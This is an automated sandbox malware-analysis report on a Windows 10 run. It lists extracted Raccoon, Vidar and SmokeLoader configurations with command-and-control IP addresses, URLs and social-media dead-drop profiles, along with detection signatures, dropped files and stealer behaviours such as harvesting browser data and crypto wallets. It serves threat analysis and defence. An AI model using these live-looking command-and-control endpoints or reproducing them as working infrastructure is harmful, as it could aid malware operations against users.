Resubmissions
24/01/2022, 18:12
220124-ws75xsgcf6 114/01/2022, 15:34
220114-szqyfahceq 1008/01/2022, 19:45
220108-ygvfssdbh9 1008/01/2022, 19:45
220108-ygvfssdbh8 1008/01/2022, 19:34
220108-x95xkadbh3 807/01/2022, 14:28
220107-rsy5sscda4 1006/01/2022, 19:07
220106-xszdfsbee2 10Analysis
-
max time kernel
1121s -
max time network
1799s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
22/12/2021, 06:05
Static task
static1
URLScan task
urlscan1
Sample
https://youtube.com
Behavioral task
behavioral1
Sample
https://youtube.com
Resource
win10-en-20211208
General
Malware Config
Extracted
raccoon
Extracted
raccoon
8fc55a7ea41b0c5db2ca3c881e20966100c28a40
-
url4cnc
http://194.180.174.53/jredmankun
http://91.219.236.18/jredmankun
http://194.180.174.41/jredmankun
http://91.219.236.148/jredmankun
https://t.me/jredmankun
Extracted
vidar
49.2
915
https://mstdn.social/@kipriauk9
https://qoto.org/@kipriauk8
-
profile_id
915
Extracted
smokeloader
2020
http://rcacademy.at/upload/
http://e-lanpengeonline.com/upload/
http://vjcmvz.cn/upload/
http://galala.ru/upload/
http://witra.ru/upload/
Signatures
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4184 3008 rundll32.exe 162 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4952 984 rundll32.exe 526 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
resource yara_rule behavioral1/memory/4332-272-0x0000000000419336-mapping.dmp family_redline behavioral1/memory/4584-288-0x0000000000419342-mapping.dmp family_redline -
Registers COM server for autorun 1 TTPs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
suricata: ET MALWARE ClipBanker Variant Activity (POST)
suricata: ET MALWARE ClipBanker Variant Activity (POST)
-
suricata: ET MALWARE Fake Software Download Redirect Leading to Malware M3
suricata: ET MALWARE Fake Software Download Redirect Leading to Malware M3
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral1/memory/3220-427-0x0000000002180000-0x0000000002255000-memory.dmp family_vidar behavioral1/memory/3220-431-0x0000000000400000-0x000000000053F000-memory.dmp family_vidar -
Blocklisted process makes network request 3 IoCs
flow pid Process 189 1064 mshta.exe 190 1064 mshta.exe 192 1064 mshta.exe -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
pid Process 2068 DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe 2900 DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe 1552 setup_installer.exe 1300 setup_install.exe 1232 Wed05110b84295dc.exe 3248 Wed05179e74f5f0502.exe 3956 Wed05ae32a364b2c31.exe 828 Wed051a48c11a13fad7b.exe 1096 Wed05179e74f5f0502.tmp 3164 Wed055ca3ac1ad3.exe 1524 Wed055a1be90d5891f6c.exe 3220 Wed052811efdc9e3.exe 1884 Wed05c6b77f55.exe 1008 Wed05df191dfbc60c.exe 832 Wed05417d1201d2.exe 3028 Wed05179e74f5f0502.exe 1544 Wed05c6b77f55.exe 3752 Wed058c44b0ac82ee.exe 3280 taskkill.exe 4128 Wed05f8edfbe05bce6.exe 4180 Wed0560cb12c1f.exe 4188 Wed05adef517e454a1.exe 4212 Ebook10.exe 4308 Wed05179e74f5f0502.tmp 4528 11111.exe 4632 Wed0555acc9ced75.exe 4332 Wed05110b84295dc.exe 4584 Wed0560cb12c1f.exe 4952 11111.exe 5076 windllhost.exe 1048 LzmwAqmV.exe 3332 364c3e6f-1d27-4406-a471-538c30929eff.bin 3488 f997de84-dd52-4ca1-821d-00ff01a9fa06.bin 4316 chrome.exe 4464 mynewstfile.exe 4108 control.exe 4212 Ebook10.exe 1592 6478052.exe 4260 1363348.exe 4660 5517730.exe 4276 1855060.exe 1932 1522690.exe 1452 ChromeRecovery.exe 5028 GoogleUpdateSetup.exe 3832 GoogleUpdate.exe 988 GoogleUpdate.exe 3268 GoogleUpdate.exe 5084 GoogleUpdateComRegisterShell64.exe 6004 GoogleUpdateComRegisterShell64.exe 6080 GoogleUpdateComRegisterShell64.exe 3828 GoogleUpdate.exe 5740 GoogleUpdate.exe 4552 cureit.exe 5272 JmkGM8HAgGqRMzf.exe 6092 8DLuDNDOJ.exe 4584 lGf5UNOdf.exe 1148 GoogleUpdate.exe 4248 GoogleCrashHandler.exe 5520 GoogleCrashHandler64.exe 5432 GoogleUpdateSetup.exe 5208 GoogleUpdate.exe 4972 GoogleUpdate.exe 4596 GoogleUpdate.exe 5072 GoogleUpdate.exe -
Modifies Windows Firewall 1 TTPs
-
Sets file execution options in registry 2 TTPs
-
Sets service image path in registry 2 TTPs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Wed05ae32a364b2c31.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Wed05ae32a364b2c31.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\International\Geo\Nation 8DLuDNDOJ.exe Key value queried \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\International\Geo\Nation 4733207.exe -
Loads dropped DLL 57 IoCs
pid Process 2068 DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe 2900 DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe 2900 DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe 2900 DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe 1300 setup_install.exe 1300 setup_install.exe 1300 setup_install.exe 1300 setup_install.exe 1300 setup_install.exe 1300 setup_install.exe 1096 Wed05179e74f5f0502.tmp 4308 Wed05179e74f5f0502.tmp 5060 rundll32.exe 5060 rundll32.exe 4680 rundll32.exe 4680 rundll32.exe 4428 rundll32.exe 4428 rundll32.exe 3220 Wed052811efdc9e3.exe 3220 Wed052811efdc9e3.exe 4384 rundll32.exe 6116 rundll32.exe 6116 rundll32.exe 1864 rundll32.exe 1864 rundll32.exe 372 rundll32.exe 372 rundll32.exe 3832 GoogleUpdate.exe 988 GoogleUpdate.exe 3268 GoogleUpdate.exe 5084 GoogleUpdateComRegisterShell64.exe 3268 GoogleUpdate.exe 6004 GoogleUpdateComRegisterShell64.exe 3268 GoogleUpdate.exe 6080 GoogleUpdateComRegisterShell64.exe 3268 GoogleUpdate.exe 3828 GoogleUpdate.exe 5740 GoogleUpdate.exe 4584 lGf5UNOdf.exe 1148 GoogleUpdate.exe 1148 GoogleUpdate.exe 5740 GoogleUpdate.exe 5208 GoogleUpdate.exe 4972 GoogleUpdate.exe 4596 GoogleUpdate.exe 5072 GoogleUpdate.exe 4428 GoogleUpdateComRegisterShell64.exe 5072 GoogleUpdate.exe 2368 GoogleUpdateComRegisterShell64.exe 5072 GoogleUpdate.exe 2120 GoogleUpdateComRegisterShell64.exe 5072 GoogleUpdate.exe 5088 GoogleUpdate.exe 5468 GWEolAl4wiJR.exe 4080 GoogleUpdate.exe 4328 GoogleUpdate.exe 6056 GoogleUpdate.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Wed05ae32a364b2c31.exe -
Drops Chrome extension 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\manifest.json Wed055a1be90d5891f6c.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\O: mstsc.exe File opened (read-only) \??\Q: mstsc.exe File opened (read-only) \??\W: mstsc.exe File opened (read-only) \??\G: mstsc.exe File opened (read-only) \??\M: mstsc.exe File opened (read-only) \??\J: mstsc.exe File opened (read-only) \??\P: mstsc.exe File opened (read-only) \??\T: mstsc.exe File opened (read-only) \??\Y: mstsc.exe File opened (read-only) \??\B: mstsc.exe File opened (read-only) \??\H: mstsc.exe File opened (read-only) \??\Z: mstsc.exe File opened (read-only) \??\F: mstsc.exe File opened (read-only) \??\N: mstsc.exe File opened (read-only) \??\I: mstsc.exe File opened (read-only) \??\K: mstsc.exe File opened (read-only) \??\L: mstsc.exe File opened (read-only) \??\R: mstsc.exe File opened (read-only) \??\S: mstsc.exe File opened (read-only) \??\U: mstsc.exe File opened (read-only) \??\A: mstsc.exe File opened (read-only) \??\E: mstsc.exe File opened (read-only) \??\V: mstsc.exe File opened (read-only) \??\X: mstsc.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1514 ipinfo.io 1917 ip-api.com 340 ip-api.com 1513 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Drops file in System32 directory 10 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8596A8E25054157CDAA952D6CDB2F491 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 94EA6BF804259639 svchost.exe File opened for modification C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8596A8E25054157CDAA952D6CDB2F491 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B9E0EC21769B6759DE8D34507B499C68 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B9E0EC21769B6759DE8D34507B499C68 svchost.exe File opened for modification C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 3956 Wed05ae32a364b2c31.exe 3956 Wed05ae32a364b2c31.exe 3488 f997de84-dd52-4ca1-821d-00ff01a9fa06.bin 4260 1363348.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1884 set thread context of 1544 1884 Wed05c6b77f55.exe 231 PID 1232 set thread context of 4332 1232 Wed05110b84295dc.exe 239 PID 4180 set thread context of 4584 4180 Wed0560cb12c1f.exe 238 PID 820 set thread context of 5284 820 svchost.exe 292 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\DriverPack\img\assistant-chat\sound.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\assistant-chat\start-chat-img.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\installation\banner_yandex.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\new-ui\visa-logo.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\onboarding-new\start-off.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\screens\menu-offline.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\server_err_no_internet\no_internet-connection-cat.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\css\fonts\ProximaNova\proxima_nova_semibold-webfont.eot DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\Google\Update\1.3.36.111\goopdateres_en.dll GoogleUpdate.exe File created C:\Program Files (x86)\Google\Update\1.3.36.112\goopdateres_hi.dll GoogleUpdate.exe File created C:\Program Files (x86)\Google\Update\1.3.36.112\goopdateres_sv.dll GoogleUpdate.exe File opened for modification C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2684_58358024\GoogleUpdateSetup.exe elevation_service.exe File created C:\Program Files (x86)\DriverPack\css\open-sans.css DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\device-class\new-ui\sound.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\games\games-top-doom-large.jpg DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\screens\menu-protect.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\screens\menu-software.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\Google\Update\1.3.36.112\goopdateres_it.dll GoogleUpdate.exe File created C:\Program Files (x86)\DriverPack\DriverPackSolution.html DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\screens\configurator-loader.gif DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\languages\ur.js DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\Google\Update\1.3.36.111\goopdateres_id.dll GoogleUpdate.exe File created C:\Program Files (x86)\Google\Temp\GUMFB15.tmp\goopdateres_zh-TW.dll GoogleUpdateSetup.exe File created C:\Program Files (x86)\DriverPack\img\fake-installation\browser.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\installation\banner_browsers-bg.jpg DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\med_logo_ui2.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\installation\controls\pause.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\installation\controls\play_hover.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\installation\drivers\bluetooth.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\no_internet\no_internet-step1.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir2684_58358024\_metadata\verified_contents.json elevation_service.exe File created C:\Program Files (x86)\Google\Temp\GUMFB15.tmp\GoogleUpdateComRegisterShell64.exe GoogleUpdateSetup.exe File created C:\Program Files (x86)\DriverPack\css\fonts\DRPcheckbox\DRPcheckbox.ttf DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\new-ui-assistant\screens\reviews-rating-five.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\onboarding-new\opera-low-ram.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\Google\Update\1.3.36.111\goopdateres_et.dll GoogleUpdate.exe File created C:\Program Files (x86)\Google\Temp\GUMFB15.tmp\goopdateres_iw.dll GoogleUpdateSetup.exe File created C:\Program Files (x86)\Google\Update\1.3.36.112\goopdateres_vi.dll GoogleUpdate.exe File created C:\Program Files (x86)\DriverPack\img\installation\banner_driverpack-for-all-bg.jpg DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\new-logo.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\device-class\bluetooth.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\new-ui-assistant\screens\bad-review.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\onboarding\done.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\screens\checkbox.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\languages\sr.js DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\Google\Update\1.3.36.112\goopdateres_ur.dll GoogleUpdate.exe File created C:\Program Files (x86)\DriverPack\css\fonts\DRPcheckbox\DRPcheckbox.woff DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\Google\Temp\GUMFB15.tmp\goopdateres_gu.dll GoogleUpdateSetup.exe File created C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleUpdateSetup.exe GoogleUpdate.exe File created C:\Program Files (x86)\DriverPack\drp.zip DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\device-class\lan.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\installation\soft\Browser.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\screens\expert_hover.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\Google\Temp\GUM22E.tmp\goopdateres_th.dll GoogleUpdateSetup.exe File created C:\Program Files (x86)\DriverPack\img\charms\download.jpg DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\css\fonts\ProximaNova\proxima_nova_regular-webfont.eot DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\device-class\wifi.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\device-class\new-ui\wifi.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\header\new-header-logo.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\installation\banner_catalog-bg.jpg DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\new-ui\programs-finish.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\img\onboarding-new\opera.png DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File created C:\Program Files (x86)\DriverPack\css\fonts\ProximaNova\proxima_nova_light-webfont.woff DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe File opened for modification C:\Program Files (x86)\Google\Update\Download\{430FD4D0-B729-4F61-AA34-91526481799D}\1.3.36.112\GoogleUpdateSetup.exe GoogleUpdate.exe -
Drops file in Windows directory 19 IoCs
description ioc Process File created C:\Windows\rescache\_merged\3720402701\1659841449.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\4183903823\97717462.pri taskmgr.exe File created C:\Windows\rescache\_merged\1601268389\1361672858.pri taskmgr.exe File created C:\Windows\rescache\_merged\3720402701\1659841449.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1659841449.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1659841449.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1659841449.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1659841449.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\1659841449.pri Process not Found File created C:\Windows\rescache\_merged\1601268389\1361672858.pri taskmgr.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File created C:\Windows\rescache\_merged\4183903823\97717462.pri taskmgr.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\4183903823\97717462.pri taskmgr.exe File created C:\Windows\rescache\_merged\1601268389\1361672858.pri taskmgr.exe File created C:\Windows\rescache\_merged\3720402701\1659841449.pri taskmgr.exe File created C:\Windows\rescache\_merged\4183903823\97717462.pri taskmgr.exe File created C:\Windows\rescache\_merged\1601268389\1361672858.pri taskmgr.exe File created C:\Windows\rescache\_merged\3720402701\1659841449.pri MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 9 IoCs
pid pid_target Process procid_target 3576 1064 WerFault.exe 133 2936 4056 WerFault.exe 144 4996 2120 WerFault.exe 524 6748 5044 WerFault.exe 603 5324 5820 WerFault.exe 646 6696 5820 WerFault.exe 646 2376 5820 WerFault.exe 646 6696 5820 WerFault.exe 646 2192 5820 WerFault.exe 646 -
Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\Device Parameters mstsc.exe Key security queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters mstsc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\TSRedirFlags mstsc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI fhgtuie Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed05df191dfbc60c.exe Key security queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Device Parameters mstsc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed05df191dfbc60c.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Device Parameters\TSRedirFlags mstsc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed05df191dfbc60c.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000\Device Parameters mstsc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI fhgtuie Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI fhgtuie Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Wed052811efdc9e3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Wed052811efdc9e3.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 perfmon.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz perfmon.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 7204 schtasks.exe 3556 schtasks.exe 5280 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2680 timeout.exe -
Enumerates system info in registry 2 TTPs 18 IoCs
